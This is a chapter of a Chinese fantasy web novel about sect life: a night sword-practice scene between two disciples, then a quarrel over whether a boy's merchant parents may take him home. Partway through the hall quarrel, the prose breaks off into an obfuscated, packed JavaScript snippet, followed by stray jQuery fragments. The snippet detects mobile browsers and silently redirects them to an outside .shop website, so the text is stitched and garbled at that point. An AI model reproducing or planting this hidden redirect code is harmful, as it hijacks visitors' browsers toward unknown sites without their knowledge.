文趣网 > 其他小说 > 顺颂时绥 > 13. 论宗门家长里短
    夜半三更,山院悄寂。

    静室内清辉浅浅,落了满榻月色。厉珩辗转良久,始终无法入眠。夜至子时,万籁俱静,远处忽传来一缕极轻、极细碎的破空响动,隐在风里,若有若无。

    横竖无睡意,他便披衣起身,循声独行而去,声响出自空旷演武场。

    皓月当空,满地清霜铺遍青石地坪。场中孤零零立着一道少年身影,束着利落高马尾,深棕发发尾低垂,束得笔直干净,只两缕软发垂落颊边,被夜风微微吹动。平日里青衬修身装衬得他肩背挺拔、身姿端正,少年骨肉匀亭,眉目清朗,睫羽纤长覆下,落在眼下浅浅投出一片阴翳。

    他手中握着一柄细柳木剑,粗看朴素无华,形同寻常青竹,不起眼得很。可他舞剑之时,全然是另一番光景。只见他剑路极柔、极稳,起落干净利落,行云流水,不见半分滞涩笨拙。明明只是一柄无锋木剑,挥展之间,竟隐隐漾出真剑才有的凛冽寒光、飒飒剑影,一式既定,他便即刻收势,垂眸俯身,静静对照石上剑谱细研慢悟。

    白日里跳脱爱笑、爱嬉闹打趣的少年,此刻全然沉静下来。月色落在他眉眼鼻梁,将整张脸庞衬得通透柔和,少年意气藏锋于骨,安静得耀眼。

    厉珩立在远处阴影里,静静看着,看得久了,有些入迷但还是唤了一句:

    “阿哥。”

    轻声一出,场中少年动作骤顿。

    沈瑜抬眸望来,眼底微讶:“珩君?夜深至此,你怎未安歇?”

    “睡不着。”厉珩缓步走出暗处,月色落满他一身,神色清淡,瞧不出分毫心绪。

    “巧了,我亦是无眠,闲得难耐,便来此处练剑消磨时辰。”沈瑜抬手轻握剑柄,有些小心问道,“我方才动静可大?可曾扰了同门?”

    “声息极轻。”厉珩淡淡道,“诸人皆深眠,无人听闻。”

    沈瑜当即松了口气,眉眼一弯:“那便好。”

    “夜半寒重,阿哥何故深夜苦修?”

    “宗门比武在即,近日诸人日日勤练,我若懈怠,怕是要被旁人赶超,压过我一头。”沈瑜笑得轻快,带着少年人不甘落后的鲜活心气。

    “别太累着自己。”厉珩语声温平,却比平素更沉些许。

    “晓得晓得,你先回去歇息吧,明日说好要下山闲逛的。”厉珩未动,目光牢牢落在他掌中那柄木剑上,轻声问:“这是?”

    “师父新赏我的。”沈瑜提起木剑,借着月色细看。剑身素净修长,朴素如竹,剑脊内侧深藏八字镌刻,字迹端正清峻:

    锋斩妖邪,心护黎元。

    “好看是好看,就是剑身太细了。”沈瑜不甚在意地掂了掂,语气轻快,“我素来偏爱厚重长剑,只是这柄轻巧,舞着倒是格外好看、足够耍帅。”

    话音未落,他手腕灵巧一转,当场舞出一整套利落剑式。夜风拂袖,剑影翩跹,月下少年风姿灼灼,一时令人移不开眼。

    厉珩静静凝望,低声道:“不错,很是好看。”

    “那可不!”沈瑜眉眼飞扬,将木剑递过去,“你要不要试试?”

    厉珩微微摇头:“我来此处多日,只学过基础剑诀,不会这般花哨剑式。”

    沈瑜当即乐了,打趣道:“珩君子,这可不行。男子修行,总得会几招风姿剑法。平日里展露几分气度风采,才能勾得心仪之人倾心。你若练得剑法卓绝、容貌出众,来日定有姑娘心悦你,甘愿以身相许、相伴余生呢。”

    厉珩看着他眉眼弯弯、肆意说笑的模样,唇角浅浅扯了下,笑意极淡,近乎无有:“世间哪有这般莽撞热忱的姑娘。”

    “没有吗?那未免太可惜了。”沈瑜故作叹惋,忽而眼珠一转,故意逗他,“说起来,珩君可有心意女子?”

    不等厉珩作答,他自顾自朗声笑道:“我可是有的。若是来日真有姑娘心悦于我,待仙妖大战落幕、四海清平,我便当即与她就地成亲。”

    这话一出,方才还温平清淡的厉珩,神色悄无声息地一寸寸沉了。

    面上笑意尽数敛尽,眸底微光淡去,唇角抿成平直一线。他不言不语,只是静静看着说笑的沈瑜,心头像被什么轻轻压住,闷闷的、涩涩的,无端生出一片郁色。旁人瞧不出异样,只当他神色寻常,唯有他自己知晓,心绪已然落了冷。

    沈瑜浑然不觉,还在自顾自在说:“怎么这般看我?再过数年我便二十有余,早已弱冠成年,遇上心悦之人求娶相守,有何不妥?”

    厉珩眸色微滞,依旧沉默。

    沈瑜见他这般安静反常,终于察觉不对,连忙摆手笑道:“哎,干嘛这般神色?我开玩笑罢了。我哪里会指望有姑娘看得上我。”

    厉珩缓了许久,才淡淡出声,语调平静无波,却透着一丝极浅的冷:“日日戏弄旁人,心性顽劣,谁会喜欢这般郎君。”

    “哎?你这话太冤枉人了!”沈瑜立刻不服,挑眉辩解,“我明明风度翩翩、样貌俊朗,哪里会不招姑娘喜欢?”

    厉珩不再接话,喉间极轻地溢出一声微不可闻的冷“哼”,压得极淡,听不出喜怒。

    随即,他转身便走。

    “哎?怎么突然走了?”沈瑜一愣。

    夜风微凉,吹得人衣衫发寒。厉珩脚步不疾不徐,背影清冷淡漠,只遥遥递来一句:“夜里寒凉,阿哥早些回房安睡。”

    “行行行。”沈瑜没多想,随口应下,“那你今夜好生歇息,明日傍晚我再陪你下山闲逛。我午时还有阿眠的事要办。”

    前方之人又是一声极轻的、闷闷的“哼”。

    沈瑜站在原地,抓着木剑愣了片刻。只觉今夜的厉珩格外奇怪,气氛隐隐别扭,却说不出究竟是哪里不对。

    他思索片刻无果,便抛去杂念,收剑回身,踏月归寝。

    午时刚至,宋星眠的双亲便一路寻上扶光阁,人声喧闹,直接闹到了正殿之中。

    “道长,我们夫妻二人已经苦口婆心劝过百遍,今日无论如何,都要将我儿带回山下。先前宗门尚且好言相劝,如今怎会执意扣下孩童?”

    “宋夫人,寻回爱子乃是阖家幸事,我们由衷替二位欢喜。可眼下仙妖大战已近在眼前,山门正是蓄力养兵之时,宋星眠万万不能在此关头下山。”

    “大战?又是拿仙妖大战的说辞搪塞我!他不过十四岁,上山舞剑练法,不过是孩童一时贪玩,耽误大好年华。宋家世代营商,他本该随我们下山,承袭家业,守好偌大商铺,留在山中苦修,纯属虚度光阴。”

    宋夫人语气愤然,旧事翻涌而上:“你可知当年我夫妻二人与阿眠失散的缘由?妖兽突袭宅院,我们只能将幼子藏于杂物库房,二人前去引开妖物。待我们折返,孩子早已不见踪影,我们苦苦寻觅多年,一度以为他葬身妖口。如今好不容易寻回,你们反倒不肯放人。”

    “难不成是孩子私自离家出逃?”周枕云唇边勾起一抹冷嗤,“当年我们四下张贴寻人告示,山下方圆百里尽数覆盖,长久无人前来认领,我还以为双亲早已经被精怪吃了呢。”

    “你放肆!”孟昙心连忙抬手拦下周枕云,压下满堂火气,“云师弟不得出言无状。”

    “我说的本就是实情,难道还不能开口?”孟昙心连忙斟上一杯热茶,推至宋夫人面前,温声安抚,“夫人切莫动怒,当心伤了心神。”

    “原来这便是教导我儿的师长?口舌粗鄙,胸襟狭隘,这般修士教出来的剑法,又能有几分成色。”周枕云心头火气翻涌,正要开口辩驳,却被卫川肃一道沉冷的目光死死按住。

    “是我门下弟子言语失德。”卫川肃上前圆场,语气郑重,“可宋星眠剑道天赋绝佳,修为进境神速,便是我出手,也难以稳胜于他。”

    “空谈大话罢了。今日我心意已决,必定带走我的孩子。仙妖大战与我商贾世家毫无干系,我们一介凡人,根本无力抵挡妖兽祸乱。”

    “我看府内战力不足,这是打算将儿推上战场,充当挡箭牌?”

    “住口!枕云!”卫川肃厉声喝止,可殿内争执

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716649|208534||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    已然愈演愈烈,口舌交锋之间,火气节节攀升。

    宋星眠立在一旁手足无措,不敢贸然开口。趁着众人争执不休,殿内一片纷乱之时,他悄然抽身,快步跑去寻找沈瑜求援。

    彼时沈瑜正在静室之中,俯身替厉珩换药,原本打算稍后一同前往山间温泉疗伤。宋星眠慌慌张张推门而入,声音带着急切:“老瑜,快救救我!我爹娘与诸位师长争执不休,局面已经收不住了!”

    沈瑜抬眼看向厉珩,温声道:“珩君,你先行去往百草涧温泉静养,我处置完这边琐事,片刻便来寻你。”话音落罢,他便被宋星眠匆匆拽着往外走去。

    “可我并不认得百草涧的路途……”

    二人行至阁主殿外,宋星眠攥紧沈瑜的衣袖,眼底满是焦灼:“你务必帮帮我,我实在不愿下山经商。”

    “我知晓前因后果了。”沈瑜眸光一沉,缓缓开口,“你本心向往仙门修行,不愿舍弃剑道,对吗?”

    “我不想走,你帮我。”

    沈瑜敛去了平日里跳脱嬉闹的神色,周身气韵骤然温润沉静,缓步踏入大殿,声线清和温润:“阁主今日还有要事或整理业务?”

    “暂且无事务”沈瑜又看向宋夫人笑脸盈盈:“原来您便是宋夫人。我此前听阿眠提起过,他一直十分挂念双亲,如今母子重逢,看夫人如此和蔼可亲还如直着寻子,实在是一桩喜事。”

    宋夫人面色冷冽,开门见山,半分客套都不愿虚与委蛇:“不必拐弯抹角。我半生深耕商道,最厌烦虚情假意的周旋。今日我只求带走宋星眠,还请宗门不要横加阻拦。”

    沈瑜负手而立,身姿从容,语气不疾不徐,先缓下紧绷的气氛:“宋夫人护子心切,舐犊情深,我辈修士向来心怀敬重。只是家国山河,少年志向,总要摆开道理,辩个分明。”

    他抬眸缓缓开口,字字沉稳:“昔年班超出身文史世家,父兄皆潜心著书,本可安居案头,安稳度日。可他投笔从戎,远赴西域,守万里边关。少年人立于世,从来不必困守一方家业。如今山海动荡,妖祸四起,山下商铺屡屡被精怪劫掠,乱世之中,家财最是难以安稳。阿眠苦修剑道,他日修为大成,既可镇守山门护佑苍生,亦可下山庇护宋家商号,以一身修为护住百年基业,远比困于账房守着铺面更为稳妥。”

    宋夫人眉头紧锁,当即厉声反驳:“前人远赴沙场,乃是守家国疆土,与我市井商贾毫无关联。宋家祖业代代相传,唯有嫡子能够承袭。家中女子眼界格局有限,难以执掌偌大商埠,宋星眠是宋家唯一男嗣,他必须返乡掌家。”

    沈瑜笑意不改,言辞步步紧逼,依旧引古论今:“夫人这番想法,未免落入了旧时桎梏。古有岳母刺字,舍弃小家安稳,勉励孩儿奔赴沙场,守万家灯火。先贤早已留下箴言:覆巢之下,焉有完卵。若是妖族祸乱席卷人间,再丰厚的家产,也守不住半分。况且世家传承,从来不必拘泥男女之别。夫人半生奔波,将宋家偌大商路打理得井井有条,足以证明女子亦可执掌宗族基业。少年人正是打磨道心的黄金年岁,阿眠一心向道,若是强行逼迫他下山营商,心有郁结,志不得伸,修行半途荒废,商道也无心打理,到头来家业大道两头落空,才是真正耽误了孩子的一生。”

    一番辩词落下,宋夫人一时语塞,周身气焰硬生生被压下去大半。沉寂片刻,她依旧不肯松口,语气强硬:“史书典故终究是纸上文章,做不得现世凭据。仙妖大战遥遥无期,我只求孩儿一世平安。空口许诺的未来,我一概不信。今日我无论如何,都要带走宋星眠。”

    阁内气氛僵持不下,两方各执一词,谁也不肯退让半步。沈瑜眸光坦荡,缓缓抬手,落下最终决断:“母子二人僵持不下,既伤亲缘,又难以定下结果。不如效仿古时宗门较技,以武道定去留,凭少年自身实力,决断前路。宋星眠登台与我交手,若是他落败,便随您下山归家,安心接手家族商号,宗门绝不加以阻拦。若是他能够胜我,便依从他本心,留在山门潜心修行如何?”